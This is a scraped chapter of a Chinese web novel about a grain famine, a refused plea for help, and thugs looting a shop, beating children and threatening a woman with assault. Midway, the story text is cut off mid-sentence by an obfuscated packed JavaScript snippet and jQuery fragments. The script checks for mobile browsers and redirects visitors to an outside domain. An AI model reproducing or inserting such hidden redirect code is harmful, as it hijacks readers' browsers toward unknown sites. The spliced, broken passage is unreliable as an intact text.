默认冷灰
24号文字
方正启体

172. 纷争

作者:朝朝颂安本书字数:K更新时间:
    大昭境内。


    朝廷屡发禁令,严禁粮米出境,然于外粮入内,则持欢迎、鼓励之态。


    且,地方官于粮荒之际,多积极招徕外地粮入其境。


    白栖枝深谙此道。


    所以,她组建商队出海,并不是要去购买外粮,而是去找帮手。


    所需书信她早已拟好,眼下最要紧的,是何人敢出海送达?


    毕竟林家上下谁也没有忘记,林听澜就是在海域失踪的,倘若让他们出海,那是比登天还难。


    倘若世上真有分身之术,白栖枝宁愿自己随行出海,哪怕是死她也认了。


    可不行。


    林家总共就三人,折二留一一还是个不良于行的病秧子。


    白栖枝光是想想就能料到林家轰然倒塌的模样。


    可眼下,衿州如此,且不说淮安,恐怕就连衿州四处各地也颇有余动。


    从古至今,这世道最重要的是什么?


    是粮!


    有粮才能保命!


    纵观古今,哪个王朝不是先有饥荒,而后暴乱,进而灭……


    后面的事白栖枝早已不敢想。


    眼下最重要的,还是去寻一些肯载船出海的伙计。


    不仅如此,还要官府的文书。


    商贾低贱,恐怕只是如此说明,官府也未必会放行。


    白栖枝凝眉闭目,修剪干净圆润的指甲结连在桌上敲了三下。


    有了。


    ……


    淮安粮价飞涨,此事对那些盘踞在淮安的富商巨贾来说自然不足为惧。


    可对于那些在淮安讨生活的贩夫走卒和平民百姓,这世道真是把人往死里逼啊。


    此时此刻,面对天价粮食他们恨的不是天灾、不是人祸,而是白栖枝!


    倘若她不那般肆意购粮,那些商贾也不会也不会嗅到如此商机,更不会将所有米面粮油尽数垄断。


    转眼间,粮价就翻了好几个番,商贾们大发国难财,淮安百姓无不怨声载道,甚至有人还聚众将林府围了个水泄不通,想要朝白栖枝讨个说法。


    然而在他们脚前,白栖枝就早已出府。


    宋府内。


    白栖枝说是被“请进来”,可面对宋鸿晖,她也只能跪在地上低声下气地祈求那人帮一帮自己、帮一帮淮安的百姓。


    跪在宋府的书房里,膝盖抵着冰冷的青砖,脊背却挺得笔直。


    宋鸿晖站在她面前,眉头紧锁,目光深沉。


    他对白栖枝的感情十分复杂。


    一来,他敬佩其父白纪风的风骨品性,也知如今朝廷孔党爪牙遍布,其父却宁死不肯同流合污,处处为百姓着想——哪怕他只是个书画院翰林,除却书画之事,能做到事情微乎其微。


    可光凭这两点,宋鸿晖就觉得白纪风是个有骨气有血性的汉子!


    可就是这样的人,却被孔怀山秘密下令血洗满门,唯余此一孤女孑然于世,实是惹人怜爱。


    可宋鸿晖并不会因此真的帮她分毫。


    正如方才所说,孔怀山党羽遍布朝廷,只怕白栖枝的身份早已暴露在他们眼下,虽然不知他们为何时至今日还未对其下手,可谁都心知肚明,这孩子,沾上就是个死字!


    谁不知道,林听澜那事,明着说是出海遇盗遭难,实则是因为他与白栖枝有了瓜葛,这才被除之而后快。


    倘若他帮白栖枝这一次,那么下个尸骨无存的,就是他宋家。


    就算他一条老命豁出去不算死,可他的妻妾孩儿们呢?


    他要毁了长卿的仕途么?他要毁了长宴一辈子么?!


    自然不会。


    所以哪怕白栖枝就算将宋府的府邸跪穿,哪怕她把嘴皮子都磨破,宋鸿晖仍不同意她说的半个字。


    其二,原由便小得几乎可以忽略不计,那就是宋长宴的事。


    宋鸿晖仍记得白栖枝出嫁的那日,宋长宴是挨了一身的伤回来的。


    打从回来之后他就把自己关在房里,不吃不喝不睡,是读书也哭、不读也哭,一双好眼都要哭瞎了,还是宋怀真跟在他身边一直慢慢开导,他才终于从绝望变成终日悒悒的模样。


    好在是没哭瞎眼睛,不然宋鸿晖真的会心疼地一口老血喷在宋府的青砖上。


    也正是如此,哪怕他深知此事不是白栖枝的错,可难免还是会有些怨怼。


    如今看着这小姑娘端端正正地跪在自己面前,目光两点如炬,宋鸿晖是真怕她眼中这一把火烧到自己身上来。


    他赶紧叫白栖枝起来,随后心焦地在她面前背手愁眉转了三四圈,才肯在她面前站定,看着她叹上一口深沉的气。


    “不是我不肯帮你,而是……”话说到这儿,宋鸿晖忽地压低自己的声音,与白栖枝擦肩道,“不要忘记你的身份,白栖枝,你有没有想过,人若沾上你,能得几时好?”


    ——能得几时好?


    最后五个字被轻声说出,白栖枝顿时如冷水浇头,连带着骨缝里都游走着噬心蚀骨的凉意。


    可这也是事实。


    白栖枝没法反驳。


    她仍持着从容笑意,保持着自己最后那点体面,微微笑道:“既然如此,那栖枝便先行告退,倘若宋大人再有意与林家做这笔生意,大可以叫家中奴才传唤与我,我便在府内恭候了。”


    眼见白栖枝瘦小的身影渐渐淡出视线,宋鸿晖的心内也是五味杂陈。


    ——帮白栖枝,就是与孔怀山为敌。


    ——不帮白栖枝,淮安百姓饿殍遍野,他宋鸿晖又于心何忍?


    可事到如今,又有谁敢与孔怀山作对?


    陛下尚且耐他不何,更何况是他一个小小的节度使。


    暂且静观以待吧。


    白栖枝并不气馁。


    她早知宋鸿晖不会如此轻易答应,饶是他说出的话确确实实地在她心上挨了一刀,她也没时间悲伤。


    没了宋鸿晖,那便去找李延。


    倘若李延也不肯……


    白栖枝眸底一黯,随即又多出几分决绝,更加加快脚步往衙门走去。


    另一边,在白栖枝所不知晓处,香玉坊和云青阁早就被人砸了个稀巴烂。


    且不说云青阁那些精贵瓷器,单论香玉坊的那些胭脂水粉,是砸的砸、扔的扔,就连铺子里那些幼稚学童也没放过。


    “放开她们,狗日的,给我放开她!!!”


    “呜呜呜,师父,我好怕,他们抓的我好痛,呜呜呜,师父救我……”


    眼见孩子细弱的手腕被拧的红肿,紫玉恨不得拿刀冲上去跟这些畜牲拼命!


    可她又哪有力气与他们抗衡?


    两个汉子一人控制住她一手,还有一个从她身后锁住她的脖颈,满是泥垢的手甚至要往她衣领幽秘处探寻。


    紫玉拼了命地挣扎:“你他娘,信不信再碰你姑奶奶一下,老娘就把你鸡爪子剁下来喂狗!”


    “呜呜呜……师父……”


    孩子的哭声还在坊内徘徊,紫玉几乎落下泪来。


    素染姐不知被绑去了哪里,莫当时的头被那些人砸破了;莫当时急得要跟人拼命结果,因为年纪大被人围着打;尤金凤夏宝珠两人被捆进了库房内;春花


    “师父


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15868609|157766||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    !!!”


    女童呼痛的声音传来,紫玉双目红的几乎要滴出血来:“别碰她,你们别碰她!有什么事冲我来,她还是个孩子,别碰她!!!”


    小燕的胳膊几乎要被拧了个转儿,其他孩童见状如此,纷纷跟受惊的小鸡仔一样抱在一团颤颤哭泣。


    也有敢站出来的,颤抖着,瑟缩着,说:“放开小燕,你们是坏人,你们是坏人,不许欺负我们!”


    话音未落,她瘦小的身躯就被一巴掌扫落在地。


    “小铃铛!”


    小姑娘的青白的脸渐渐浮出一个红肿的巴掌印来。


    不待她哭泣,为首那人就像拎小鸡仔一样把她高高拽着衣领拎了起来。


    “小贱种,胆子不小嘛!你想出这个头是不是?嗯?说话!”


    “呜呜呜呜……”被打的孩子痛得什么话也说不出了。


    她被举得老高,在半空中好像一面被风猎猎吹动的旗子,颤抖着,害怕得不知所措。


    紫玉几乎要疯了。


    她死命挣扎,无果,就去咬那两人的胳膊,谁知他们一脚就把她倒在地。


    “师父!!!”


    眼泪刷地就流了出来,紫玉颤抖着、匍匐着,恨不得爬到那人的脚下给他跪下磕头。


    “求求你……她们只是孩子,不要难为她们,求求你,不要……”


    她话音未落,便被打断。


    前来的是个红光满面的小伙子,见他们这副样子,眼下闪过一丝不忍,却还是轻松地拍了拍为首那人的肩,揶揄道:“大哥,这里的粮食都被咱的人搬空了,走吧,和这么个小娘们儿计较什么?”


    紫玉记得他!


    是小崔以前经常给香玉坊送货的那个小崔。


    几年不见,他怎么和这些混混厮混在一起?


    未等紫玉从震惊中缓过来,为首的那个汉子已经讲小铃铛狠狠扔到一边。


    “小铃铛——唔!”


    紫玉几乎是刹那间用双臂接住小铃铛,而后,骨头碎裂的痛感传来,她隐忍着,将小铃铛抱在怀里轻声安慰:“没事了,没事了,他们拿了粮就走了,没事了……”


    “呜呜呜,师父……”小铃铛很伤心,“东家说过,要让我们守好粮食的,都怪我们,坊里的粮食都被抢走了,都怪我们……”


    她这样一说,其他孩童也跟着哭的更大声了。


    紫玉忙着安慰,也忍不住流下泪来。


    一时间,哭声传遍整个香玉坊。


    为首那人只觉得刺耳。


    他扣了扣耳朵眼。


    既然该拿的东西他都已经拿到,就犯不着跟着一些赔钱货再计较,还是先把东西运回去才是正式。


    想着他朝着其他兄弟招手大声道:“弟兄们,我们走!!!”


    眼见要救命的粮食就这样被人抢走。


    紫玉疯了似的,扑上去就朝那人咬,结果只是一巴掌,她就被扇的嘴角破裂,流出血来。


    那人拧了拧自己的伤口,看向面容姣好却极为狼狈的紫玉,如同豺狼看见绵羊一般,眼底都是戏谑。


    “小娘们儿还挺有劲儿,跟个疯狗一样,不如就让哥哥见识见识你的厉害!”


    他说着,朝前一步步走去。


    高大壮实的阴影山一样压在紫玉身上”,她用手掌磨蹭着粗糙的沙砾,一点点,向后退去。


    “不要!”


    眼见那壮汉就要饿虎扑食般向他压来,紫玉赶紧用手臂挡在自己眼前。


    就在千钧一发之时,门口处却传来一道温润从容的声音——


    “住手。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)